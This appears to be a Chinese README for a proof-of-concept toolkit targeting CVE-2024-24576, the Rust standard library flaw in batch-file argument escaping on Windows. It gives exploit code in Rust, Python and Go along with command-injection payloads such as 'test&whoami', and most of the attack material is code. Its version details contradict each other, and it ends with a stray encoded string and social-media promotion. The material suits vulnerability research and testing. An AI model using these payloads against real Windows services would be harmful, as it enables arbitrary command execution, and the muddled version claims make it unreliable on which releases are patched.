CVE-2024-24576 漏洞利用与测试工具集
CVE-2024-24576 漏洞利用与测试工具集本项目提供了针对CVE-2024-24576安全漏洞的概念验证PoC代码涵盖Rust、Python和Go三种编程语言。该漏洞存在于 Rust 标准库在 Windows 平台上处理批处理文件参数时的转义逻辑缺陷可能导致任意命令执行。功能特性多语言 PoC 实现提供 Rust、Python、Go 三种语言的漏洞测试代码命令注入测试演示通过恶意构造的参数实现命令注入攻击批处理文件调用模拟展示调用test.bat批处理文件时的安全风险Rust 特有漏洞对比特别对比 Rust 中Command::arg与Command::args两种 API 的注入表现安全研究辅助帮助开发者理解漏洞原理并进行安全测试安装指南系统要求Windows 操作系统漏洞特定平台对应语言的运行时环境Rust 版本# 安装 Rust如未安装curl--protohttps--tlsv1.2-sSfhttps://sh.rustup.rs|sh# 编译运行rustc exploit.rs ./exploit.exePython 版本# 无需额外依赖使用标准库python exploit.pyGo 版本# 安装 Go如未安装# 下载地址https://golang.org/dl/# 编译运行go build exploit.go exploit.exe使用说明基础使用准备测试批处理文件在项目根目录创建test.bat文件echo off echo Argument received: %1运行 PoC 程序Rust 版本自动执行多个预定义 Payloadcargorun# 或./exploit.exe# 程序会自动测试多个 Payload并等待用户输入额外 PayloadPython 版本交互式输入python exploit.py Enter Payload:testwhoamiGo 版本交互式输入go run exploit.go Enter parameter1:testwhoami典型测试 Payload 示例# 基础测试test# 命令注入 - 执行 whoamitestwhoami# 命令注入 - 带引号绕过test whoami # 命令注入 - Rust 版本特殊构造 test calc.exeRust 版本特殊说明Rust 版本会依次测试预定义的 3 个 Payload用户输入的 Payload自动包装为test {input}格式分别测试Command::arg和Command::args两种 API核心代码Rust 漏洞利用核心代码usestd::process::Command;usestd::io;fnmain(){// 存储测试 Payload 的向量letmutpayloadsvec![test,r#test whoami#,r#test whoami#,];// 获取用户输入并添加到 Payload 向量println!(Enter payload:);letmutinputString::new();io::stdin().read_line(mutinput).expect(Failed to read line);letpayloadinput.trim();letcommandformat!(r#test {}#,payload);payloads.push(command);// 测试 Command::arg APIprintln!(Command Injection on Command::arg);forpayloadinpayloads{letoutputCommand::new(./test.bat).arg(payload).output().expect(Failed to execute command);println!(Output for payload {}:\n{},payload,String::from_utf8_lossy(output.stdout));}// 测试 Command::args APIprintln!(Command Injection on Command::args);forpayloadinpayloads{letoutputCommand::new(./test.bat).args([payload]).output().expect(Failed to execute command);println!(Output for payload {}:\n{},payload,String::from_utf8_lossy(output.stdout));}}Python 漏洞利用核心代码importsubprocessdefrun_batch_file(batch_file_path,second_argument): 执行批处理文件并传递参数 存在命令注入风险参数未经过滤直接传递给 shell try:# shellTrue 会调用 cmd.exe导致参数被解析执行subprocess.run([batch_file_path,second_argument],shellTrue,checkTrue)exceptsubprocess.CalledProcessErrorase:print(fError occurred while running the batch file:{e})exceptFileNotFoundError:print(fBatch file {batch_file_path} not found.)# 示例使用从用户输入获取恶意参数batch_file_pathtest.batsecond_argumentinput(Enter Payload: )run_batch_file(batch_file_path,second_argument)Go 漏洞利用核心代码packagemainimport(bufiofmtosos/execstrings)funcmain(){batchFile:test.bat// 获取用户输入的参数reader:bufio.NewReader(os.Stdin)fmt.Print(Enter parameter 1: )param1,_:reader.ReadString(\n)param1strings.TrimSpace(param1)// 构造命令并执行parameters:[]string{param1}cmd:exec.Command(batchFile,parameters...)// 设置标准输出和错误输出cmd.Stdoutos.Stdout cmd.Stderros.Stderr// 执行命令存在注入风险err:cmd.Run()iferr!nil{fmt.Println(Error:,err)return}fmt.Println(Batch file executed successfully.)}漏洞说明根据 Rust 安全公告 CVE-2024-24576Rust 标准库在 Windows 平台上调用批处理文件时参数转义逻辑不完整可能导致恶意参数绕过转义机制并执行任意 shell 命令。影响版本Rust 1.77.2 及之前版本修复版本Rust 1.77.2部分修复、1.78.0完全修复风险 APICommand::arg和Command::args6HFtX5dABrKlqXeO5PUv/0utpqH8CghdzjK93UH3cmiU5I9LmI0lAqOHt1e1fxf更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享